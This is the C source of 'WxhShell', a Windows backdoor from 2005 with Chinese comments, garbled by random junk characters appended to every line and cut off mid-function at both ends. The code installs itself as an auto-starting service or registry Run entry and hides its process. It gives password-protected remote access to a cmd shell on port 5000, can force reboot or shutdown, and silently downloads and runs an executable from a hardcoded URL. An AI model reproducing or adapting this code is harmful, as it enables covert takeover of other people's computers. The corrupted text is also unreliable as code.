    } {e,S}:$g4  
    break; K8f;AK  
    } Wu?4oF  
  // 关机 6o!+E@V b  
  case 'd': { m&cVda/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "1yXOy^2  
    if(Boot(SHUTDOWN)) Fn1|Wt*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}}$-xl  
    else { rISg`-  
    closesocket(wsh); p78X,44xg  
    ExitThread(0); 1UT&kD!si  
    } z q _*)V  
    break;  1ti+ Q0~  
    } ]+Ik/+Nz  
  // 获取shell N8_ c%6GE  
  case 's': { \%g# __\  
    CmdShell(wsh); XcD$xFDZ  
    closesocket(wsh); -YPUrU[)  
    ExitThread(0); :/A3l=}iV  
    break; EA) K"C  
  } s8Bbe t  
  // 退出 h0_od/D1r  
  case 'x': { R,>LUa*u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R utRA  
    CloseIt(wsh); ^Cs?FF@P  
    break; "Y-_83  
    } Yi:@>A<#  
  // 离开 lpi^<LQ@l  
  case 'q': { jv_z%`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rf9;jwU  
    closesocket(wsh); OXAr..  
    WSACleanup(); AU0pJB'  
    exit(1); 8A}cxk  
    break; @|BaZq,g  
        } Po_y7 8ZD  
  } `o4alK\  
  } qp;eBa  
G |033(j  
  // 提示信息 js^+{~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DPqk~KCM  
} K8,Q^!5]"  
  } .ww~'5b0  
:|%k*z  
  return; %zsY=qT  
} @A?Ss8p'  
c%tb6@C  
// shell模块句柄 % s&l^&ux  
int CmdShell(SOCKET sock) 1<766  
{ h0ml#A`h  
STARTUPINFO si; U|yXJ.Z3  
ZeroMemory(&si,sizeof(si)); F`))qCgg]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F8Y_L\q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \%[sv@P9s  
PROCESS_INFORMATION ProcessInfo; dPvRbwH<  
char cmdline[]="cmd"; M5\$+Tu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jjLx60|{  
  return 0; _ x8gEK8  
} ~FCkr&Ky3  
\7]0vG  
// 自身启动模式 0;6eSmF  
int StartFromService(void) j AXKp b  
{ J;8M. _  
typedef struct KUD&vqx3  
{ C ^QpVt-T  
  DWORD ExitStatus; v%^"N_]  
  DWORD PebBaseAddress; dA 03,s  
  DWORD AffinityMask; ' ?tx?t  
  DWORD BasePriority; 8U86-'Pq  
  ULONG UniqueProcessId; CmP_9M?ce  
  ULONG InheritedFromUniqueProcessId; Q^trKw~XNy  
}   PROCESS_BASIC_INFORMATION; ;[) O{%s  
?E +[  
PROCNTQSIP NtQueryInformationProcess; JO[7_*s  
/hF@Xh%hY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FqwH:Fcr:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9fQ[:Hl"  
I.dS-)Y  
  HANDLE             hProcess; }%) ]b*3  
  PROCESS_BASIC_INFORMATION pbi; V$o]}|  
b;xn0sDn#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j3=%J5<  
  if(NULL == hInst ) return 0; r{g8CIwGQ  
b';oFUU>Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~$PY6s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^GL>xlZ(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sx1w5rj.Y0  
4 x|yzUx  
  if (!NtQueryInformationProcess) return 0; 1RHFWK5Si  
H;w8[ImK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FHOF 6}if  
  if(!hProcess) return 0; % H/V iC  
u7(<YSOs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -}x( MZ  
*TyLB&<t  
  CloseHandle(hProcess); 2pQ29  
3%~c\naD?O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O n/q&h5  
if(hProcess==NULL) return 0; &) qs0  
BS*Y3$  
HMODULE hMod; XU5GmGu_+  
char procName[255]; AJYZ`  
unsigned long cbNeeded; X:2)C-l?  
Yx[B*] 2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6N< snBmd  
r}nz )=\Cj  
  CloseHandle(hProcess); pOq9J7BS  
)i/x%^ca$  
if(strstr(procName,"services")) return 1; // 以服务启动 IoKN.#;^  
W!Fu7a  
  return 0; // 注册表启动 taBCE?{  
} ihp>cl?  
*e,GXU@  
// 主模块 {ovW6#  
int StartWxhshell(LPSTR lpCmdLine) bDtb"V8e  
{ %LjhK,'h  
  SOCKET wsl; .dPy<6E  
BOOL val=TRUE; XlJA}^e  
  int port=0; @V=HY  
  struct sockaddr_in door; 5c ($~EFr  
X+KQ%Efo  
  if(wscfg.ws_autoins) Install(); K#;EjR4H  
AGGNJ4m  
port=atoi(lpCmdLine); :meq4!g{1  
#Y<QEGb(  
if(port<=0) port=wscfg.ws_port; y^:N^Gt  
?s]+2Tq  
  WSADATA data; rO[ Zx'a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; / n@by4;W  
~5:-;ZbZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bIy:~z5   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _z6" C8W  
  door.sin_family = AF_INET; 0#: St  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \f4JIsZ-&  
  door.sin_port = htons(port); 68QA%m'J  
I?OnEw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y^2]*e%  
closesocket(wsl); (@i2a  
return 1; ItxC}qT  
} y^}00Z+l  
7El:$H  
  if(listen(wsl,2) == INVALID_SOCKET) { mO^ )k  
closesocket(wsl); )-\[A<(  
return 1; IA~wmOF  
} \1nj=ca?  
  Wxhshell(wsl); d)1Pl3+  
  WSACleanup(); l*-$H$  
Jty/gjK+  
return 0; rUDMQxLruV  
zlhI\jRdc  
} WUK{st.z  
aTFT'(O,  
// 以NT服务方式启动 ^oXLk&d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oGKk2oP  
{ el3lR((H  
DWORD   status = 0; |PutTcjQ  
  DWORD   specificError = 0xfffffff; ~JX+4~qT  
cz;gz4d8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I?X!v6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F.$NYr/|y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }%Vx2Q  
  serviceStatus.dwWin32ExitCode     = 0; R4 AKp1Y  
  serviceStatus.dwServiceSpecificExitCode = 0; Sp\ 7  
  serviceStatus.dwCheckPoint       = 0; JW9U&Bj{  
  serviceStatus.dwWaitHint       = 0; &Xp<%[:  
\(;X3h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9-hVlQ~|  
  if (hServiceStatusHandle==0) return; EZ)$lw/!J  
M ]uO%2  
status = GetLastError(); I%tJLdL  
  if (status!=NO_ERROR) zC|y"PTw  
{ (aX6jdvo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xB|?}uS-  
    serviceStatus.dwCheckPoint       = 0; xC YL3hl  
    serviceStatus.dwWaitHint       = 0; |#J!oBS!  
    serviceStatus.dwWin32ExitCode     = status; o l8|  
    serviceStatus.dwServiceSpecificExitCode = specificError; [`U9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dW9Ci"~v  
    return; g1(`a`M  
  } Q}|QgN  
(4"Azo*~![  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c=u'#|/eb  
  serviceStatus.dwCheckPoint       = 0; q%hxU.h  
  serviceStatus.dwWaitHint       = 0; !_pryNcb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V)3S.*]  
} +ieRpVg  
pa2cM%48  
// 处理NT服务事件,比如:启动、停止 *,#T&M7D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [*z`p;n2D  
{ o}6d[G>  
switch(fdwControl) VhX~sJ1%Gp  
{ ,#hx%$f}d  
case SERVICE_CONTROL_STOP: BiI`oCX  
  serviceStatus.dwWin32ExitCode = 0; {N`<TH PP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b$/ 'dnx  
  serviceStatus.dwCheckPoint   = 0; <}t<A  
  serviceStatus.dwWaitHint     = 0; H-'~c \)  
  { @ZtDjxN &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #n6<jF1G  
  } gF8n{b  
  return; <Kt;uu>  
case SERVICE_CONTROL_PAUSE: "Oq>i9v;|$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OE[N$,4I*  
  break; D.Z4noMA6  
case SERVICE_CONTROL_CONTINUE: t`eUD>\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [fl^1!3{  
  break; SJsRHQ  
case SERVICE_CONTROL_INTERROGATE: lbnH|;`$]m  
  break; G !;<#|a  
}; 5|Hz$oU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rFU|oDF  
} /p7-D;  
!F[^?:pK  
// 标准应用程序主函数 Yxd&hr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6R';[um?q  
{ d'*:2;)g^  
(f>~+-IL  
// 获取操作系统版本 p}9bZKyf  
OsIsNt=GetOsVer(); A i5|N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d,*#yzO  
zqs|~W]c  
  // 从命令行安装 25 m!Bf  
  if(strpbrk(lpCmdLine,"iI")) Install(); > ?<C+ZHh  
Bv(c`JE~;  
  // 下载执行文件 >Qold7 M  
if(wscfg.ws_downexe) { .F@0`*#rE~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CI~ll=9`  
  WinExec(wscfg.ws_filenam,SW_HIDE); WbH#@]+DN  
} .wJv_  
RqE|h6/  
if(!OsIsNt) { .E&-gXJ4  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?h7(,39^>  
HideProc(); <imIgt|`2  
StartWxhshell(lpCmdLine); &0*IN nlc?  
} BZ"+ ND9m_  
else 1PnWgu  
  if(StartFromService()) mQ qv{1  
  // 以服务方式启动 u!DAeE  
  StartServiceCtrlDispatcher(DispatchTable); 6y}|IhX?z  
else 7<7 /NZ<I  
  // 普通方式启动 2SlOqH1  
  StartWxhshell(lpCmdLine); Z0Df~ @  
59Lmv &s  
return 0;  g1B[RSWv  
} '/ v@q]!  
@WfX{485  
1GI/gc\  
 k.("<)  
=========================================== /4lm=ZE/  
z-;2)RkV2  
kCVA~ %d7  
<yz&> +9,  
+c-?1j  
CF_pIfbaf  
" 4;.y>~z  
iQJ[?l`  
#include <stdio.h> ouf91<n  
#include <string.h> 64w4i)?eM[  
#include <windows.h> v\3}5v%YI  
#include <winsock2.h> 3r]N\c  
#include <winsvc.h> - }2AXP2q  
#include <urlmon.h> @ZTsl ?  
`/\Z{j0_  
#pragma comment (lib, "Ws2_32.lib") DU=rsePWE  
#pragma comment (lib, "urlmon.lib") <Zn -P  
Qkq9oZ  
#define MAX_USER   100 // 最大客户端连接数 568qdD`PS  
#define BUF_SOCK   200 // sock buffer 2c4x=%  
#define KEY_BUFF   255 // 输入 buffer Q{"QpVY8  
sm>5n_Vw  
#define REBOOT     0   // 重启 Vi o ~2  
#define SHUTDOWN   1   // 关机 qmWn$,ax  
`am]&0g^+(  
#define DEF_PORT   5000 // 监听端口 sfw lv^  
#CYDh8X<i  
#define REG_LEN     16   // 注册表键长度 d]<S/D'i  
#define SVC_LEN     80   // NT服务名长度 LCf)b>C*  
/swNhDQ"o  
// 从dll定义API N6wCCXd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E3==gYCe*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~qj09  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @.SuHd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1w/Ur'8we  
()+PP}:$A  
// wxhshell配置信息 'g7eN@Wh.z  
struct WSCFG { 1?j[ '~aE  
  int ws_port;         // 监听端口 bJ#]Xm(]D  
  char ws_passstr[REG_LEN]; // 口令 X cDu&6Dy  
  int ws_autoins;       // 安装标记, 1=yes 0=no <JNiW8 PG  
  char ws_regname[REG_LEN]; // 注册表键名 jt?.g'  
  char ws_svcname[REG_LEN]; // 服务名 /;rPzP4K6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S B# Y^!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;LjTsF'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @#CZ7~Hn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y_e$W3bON,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "-HmXw1+t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (;.wsz &K  
cN(Toj'`  
}; W$bQS!7y  
p3R: 3E6p  
// default Wxhshell configuration svTKt%6X  
struct WSCFG wscfg={DEF_PORT, ^^C@W?.z  
    "xuhuanlingzhe", yl'@p 5n  
    1, (yB)rBh>n  
    "Wxhshell", 4>I >y@^  
    "Wxhshell", _I1:|y  
            "WxhShell Service", A;\1`_i0  
    "Wrsky Windows CmdShell Service", quGv q"Y>  
    "Please Input Your Password: ", ejjL>'G/|%  
  1, -xk.wWpV  
  "http://www.wrsky.com/wxhshell.exe", |1[3RnG S  
  "Wxhshell.exe" UBZ37P  
    }; g{d(4=FM  
]:X# w0UR  
// 消息定义模块 5y`n8. (?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";   iE8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ub_!~tb}?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {BS}9jZx  
char *msg_ws_ext="\n\rExit."; !/;/ X\d  
char *msg_ws_end="\n\rQuit."; &?)? w-$p  
char *msg_ws_boot="\n\rReboot..."; ~#^suy?  
char *msg_ws_poff="\n\rShutdown..."; Or9"T]z  
char *msg_ws_down="\n\rSave to "; XVwJr""+  
;p_@%*JAx  
char *msg_ws_err="\n\rErr!"; m:  
char *msg_ws_ok="\n\rOK!"; _hz}I>G@B  
V ~%C me  
char ExeFile[MAX_PATH]; a#L:L8T;j  
int nUser = 0; 5zf bI  
HANDLE handles[MAX_USER]; #FNSE*Y  
int OsIsNt; o,D7$WzL  
<jwQ&fm)/R  
SERVICE_STATUS       serviceStatus; "7X[@xX@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {k"t`uo_  
9>I&Z8J$M  
// 函数声明 (O@fgBM  
int Install(void); uZ/XI {/  
int Uninstall(void); 2^;zj0]Rt  
int DownloadFile(char *sURL, SOCKET wsh); V }?MP-.c  
int Boot(int flag); rT mVHt  
void HideProc(void); r|,_qNrw  
int GetOsVer(void); XGCjB{IV  
int Wxhshell(SOCKET wsl); }8e_  
void TalkWithClient(void *cs); q@(MD3OE  
int CmdShell(SOCKET sock); mN&B|KWU  
int StartFromService(void); SE7mn6,%\  
int StartWxhshell(LPSTR lpCmdLine); \a7caT{  
B}U:c]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5HqvSfq>?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;.'\8!j  
`:>N.9'o  
// 数据结构和表定义 yRyUOTK  
SERVICE_TABLE_ENTRY DispatchTable[] = ]I<w;.z  
{ u"s@eN  
{wscfg.ws_svcname, NTServiceMain}, 92 oUQ EK  
{NULL, NULL} mNk@WY_F  
}; # X`t~Y'  
$3'xb/3|  
// 自我安装 W_bp~Wu  
int Install(void) GnFm*L  
{ pg9 feIW1  
  char svExeFile[MAX_PATH]; RoLN#  
  HKEY key; 089 <B& <  
  strcpy(svExeFile,ExeFile); ]p-x ds#d  
/a7N:Z_Bz  
// 如果是win9x系统,修改注册表设为自启动 xMr=tU1C  
if(!OsIsNt) { \~BYY|UB;W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r >;(\_@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XEe$Wh  
  RegCloseKey(key); # H)\ts  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -%)S~ R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7zcmv"`  
  RegCloseKey(key); lK%)a +2  
  return 0; F6Ne?[b  
    } %)#yMMhR  
  } e,D RQ2AU  
} 5I>a|I!j  
else { dIq*"Ry+~  
jb83Y>  
// 如果是NT以上系统,安装为系统服务 K 3.z>.F'h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'A{B[  
if (schSCManager!=0) C-sFTf7  
{ ~o X`Gih  
  SC_HANDLE schService = CreateService U)6Ew4uRxV  
  ( \ !qe@h<  
  schSCManager, S[5OTwa8L  
  wscfg.ws_svcname, #DA,*  
  wscfg.ws_svcdisp, K +l-A>Ic  
  SERVICE_ALL_ACCESS, W1 \dGskV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m`9P5[m#x>  
  SERVICE_AUTO_START, S|  
  SERVICE_ERROR_NORMAL, @ *&`1  
  svExeFile, !%/2^  
  NULL, FG5YZrONx  
  NULL, oEJxey]B7  
  NULL, o\N^Uu  
  NULL, Egi(z9|Pp  
  NULL SNrX(V::z  
  ); Aj{G=AT  
  if (schService!=0) :qvA'.L/;z  
  { f#&@Vl(i&  
  CloseServiceHandle(schService); ~sVbg$]\G  
  CloseServiceHandle(schSCManager); `1i\8s&O6@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?`3G5at)9f  
  strcat(svExeFile,wscfg.ws_svcname); _+ERX[i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #}+_Hy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'byao03  
  RegCloseKey(key); *]>~lO1  
  return 0; (YY!e2  
    } MZ%S3'  
  } (vPE?^}b  
  CloseServiceHandle(schSCManager); '-V[t yE  
} 'NN3XyD  
} xzb{g,c   
T!1Np'12zF  
return 1; W2]%QN=m$  
} r"W<1H u  
1Gw_S?$7  
// 自我卸载 M!Ywjvw*)3  
int Uninstall(void) \=j|ju3  
{ #&Fd16ov  
  HKEY key; LM*m> n*  
:Tdl84   
if(!OsIsNt) { ,!bcm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o@qI!?p&  
  RegDeleteValue(key,wscfg.ws_regname); `^: v+!  
  RegCloseKey(key); BYZllwxwTE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @N6KZn |R  
  RegDeleteValue(key,wscfg.ws_regname); nnuJY$O;M  
  RegCloseKey(key); |k<5yj4?  
  return 0; (AT)w/  
  } kPYQcOK8  
} 97n,^t2F\  
} <ahcE1h  
else { ZW ZKyJQ  
^)1!TewCY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h{CMPJjD  
if (schSCManager!=0) 8nTdZu  
{ N6h.zl&04  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *lyRy/POB  
  if (schService!=0) y<^hM6S?Z  
  { i)[~]D.EH8  
  if(DeleteService(schService)!=0) { S~\u]j^%y  
  CloseServiceHandle(schService); D' `[y  
  CloseServiceHandle(schSCManager); DIWcX<s  
  return 0; kYu"`_n}  
  } mU;\,96#  
  CloseServiceHandle(schService);  V/t-  
  } *?!A  
  CloseServiceHandle(schSCManager); 6D29s]h2  
} Z`yW2ON$'  
} 0kL tL!3  
#IxCI)!I{[  
return 1; [p96H)8YU  
} /S`d?AV  
e[%g'}D:-  
// 从指定url下载文件 |c:xK{Ik  
int DownloadFile(char *sURL, SOCKET wsh) _j?/O)M c  
{ !;B^\ 8{  
  HRESULT hr; cB4p.iO   
char seps[]= "/"; w6 .J&O  
char *token; 29k\}m7l<*  
char *file; JDm7iJxc_  
char myURL[MAX_PATH]; UP@-@syGw  
char myFILE[MAX_PATH]; g({dD;  
*!u a?  
strcpy(myURL,sURL); K2ry@haN  
  token=strtok(myURL,seps); 8p.O rdp  
  while(token!=NULL) ek]CTUl*  
  { d1/uI^8>  
    file=token; Q);^gV  
  token=strtok(NULL,seps); uDG#L6  
  }  `AxhA.&V  
:\,3=suWq  
GetCurrentDirectory(MAX_PATH,myFILE); X-J<gI(Y  
strcat(myFILE, "\\"); Y 9~z7  
strcat(myFILE, file); usOIbrQ  
  send(wsh,myFILE,strlen(myFILE),0); &&($LnyA]  
send(wsh,"...",3,0); `KJ BQK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -{a&Zkz>V  
  if(hr==S_OK) v`9n'+h-c6  
return 0; Hbi2amfBu  
else #AUa'qB t  
return 1; Uv(Uj3D  
 ^6Y:9+  
} S`&YY89{&  
4&^BcWqA*f  
// 系统电源模块 M;F&Ix  
int Boot(int flag) :EZ"D#>y~  
{ r$z0C&5  
  HANDLE hToken; 9`v[Jm% $m  
  TOKEN_PRIVILEGES tkp; ~U_,z)<`)c  
Qh@A7N/L  
  if(OsIsNt) { |k=L&vs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Xq3>KJ_)H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?#_]Lzn'  
    tkp.PrivilegeCount = 1; 2?nhkast#=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;c;PNihg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yXL]uh#b  
if(flag==REBOOT) { PH3#\ v.   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PV/S zfvIq  
  return 0; Mwd(?o  
} e$y VV#  
else { ~$Pz`amT|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {;XO'  
  return 0; aC=D_JJ\  
} ^PI8Bvs>j  
  } Hm55R  
  else { [G[|auKF  
if(flag==REBOOT) { XhxCOpO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >6"u{Qmr  
  return 0; q$ 6Tb  
} J\x.:=V  
else { WZJ}HHePr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pt+[BF6P  
  return 0; "8h7"WR  
} 3erGTa[|q  
} 5cE?>  
U#U nM,3%  
return 1; 298@&_  
} sy;_%,}N  
c;pv< lX'  
// win9x进程隐藏模块 6_h'0~3?`  
void HideProc(void) O6$d@r;EK]  
{ NM_Xy<.~E  
9 WhZ= Xk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l gzA) (  
  if ( hKernel != NULL ) p2: >m\  
  { ,wE cRN w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JM-+p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yx{qVU  
    FreeLibrary(hKernel); Kt3 ]r:&J  
  } 9akIu.H  
_r&,n\ T  
return; 'lD"{^  
} L\Y4$e9bF8  
;}k9YlQrN  
// 获取操作系统版本 8Mf{6&F=  
int GetOsVer(void) HRxA0y=  
{ YB1uudW9  
  OSVERSIONINFO winfo; R:t>P Fwo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }{.0mu9  
  GetVersionEx(&winfo); oyeJ"E2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4]18=?r>  
  return 1; Dw6mSsC/  
  else _wKaFf  
  return 0; @XL5$k[Y  
} ^yo~C3 r~  
Gn8'h TM  
// 客户端句柄模块 ^$I8ga  
int Wxhshell(SOCKET wsl) ckTk2xPQ  
{ 1SGLA"r  
  SOCKET wsh; x<es1A'u6  
  struct sockaddr_in client; F+3}Gkn  
  DWORD myID; Lradyo44u\  
|kXx9vGq@  
  while(nUser<MAX_USER) c/Ykk7T9--  
{ 2)zAX"#/  
  int nSize=sizeof(client); -]K9sy)I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FELDz7DYya  
  if(wsh==INVALID_SOCKET) return 1; 3</gK$f2  
H${5pY_M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gL:Vj%c  
if(handles[nUser]==0) Z>si%Npm\  
  closesocket(wsh); shAoib?Kw:  
else {5, ]7=]  
  nUser++; = olmBXn/  
  } :_f5(N*{5o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R ]! [h  
e 1$<,.>  
  return 0; Oe/\@f0bLT  
} 9$[PA jwk  
v?=y9lEH@%  
// 关闭 socket p&nPzZQL(  
void CloseIt(SOCKET wsh) %HAforH  
{ y9xvGr[l  
closesocket(wsh); 3\B 28m  
nUser--; t3// U#  
ExitThread(0); KW1b #g%Z  
} p?v.42R:z  
7B)m/%>3s  
// 客户端请求句柄 0lm7'H*~  
void TalkWithClient(void *cs) gZHuyp(B  
{ +\_c*'K>  
7H l>UX,|  
  SOCKET wsh=(SOCKET)cs; 5Y(<T~  
  char pwd[SVC_LEN]; hRwj-N%C  
  char cmd[KEY_BUFF]; 1XpG7  
char chr[1]; ,ut-Di=6  
int i,j; rd:WF(]  
f)x(sk  
  while (nUser < MAX_USER) { ``?79MJ5  
R ~ZcTY[8  
if(wscfg.ws_passstr) { pRys 5/&v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lPyY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pb`Uxv  
  //ZeroMemory(pwd,KEY_BUFF); sW^e D;  
      i=0; /f}!G  
  while(i<SVC_LEN) { =f/CBYNw@V  
VchI0KL?  
  // 设置超时 srCpgs]h  
  fd_set FdRead; ! *eDT4a  
  struct timeval TimeOut; E#!tXO&,  
  FD_ZERO(&FdRead); 1p5n}|  
  FD_SET(wsh,&FdRead); {U'\2Ge<m  
  TimeOut.tv_sec=8; C==yl"w  
  TimeOut.tv_usec=0; XU y[l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MO>9A,&f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OAauD$Hh  
xWnOOE$i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T!7B0_  
  pwd=chr[0]; xfa-   
  if(chr[0]==0xd || chr[0]==0xa) { Gl"|t't(  
  pwd=0; S"4eS,5L|  
  break; Xwo%DZKN  
  } <I#nwoHN  
  i++; {sfA$ d0  
    } 4iI4+  
V1&qgAy~  
  // 如果是非法用户,关闭 socket L</k+a?H!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RY .@_{  
} .He}f,!f<  
^6On^k[|fw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l0 8vF$k|d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 02_+{vk!  
bu9.Hv T'  
while(1) { GXp`yK9c  
J= [D'h  
  ZeroMemory(cmd,KEY_BUFF); yAiO._U  
j'k <  
      // 自动支持客户端 telnet标准   jsFfrS"*  
  j=0; lvsj4 cT  
  while(j<KEY_BUFF) { !-t,r%CG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vw|P;LLl`  
  cmd[j]=chr[0]; M#_|WL~  
  if(chr[0]==0xa || chr[0]==0xd) { F8S>Ld  
  cmd[j]=0; f{.4# C'  
  break; PjD9D.  
  } i\,I)S%yJ  
  j++; p|C[T]J\@  
    } fX.1=BjXi  
+CM>]Ze  
  // 下载文件 4*ZY#7h  
  if(strstr(cmd,"http://")) { .ht-*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E<jW; trt_  
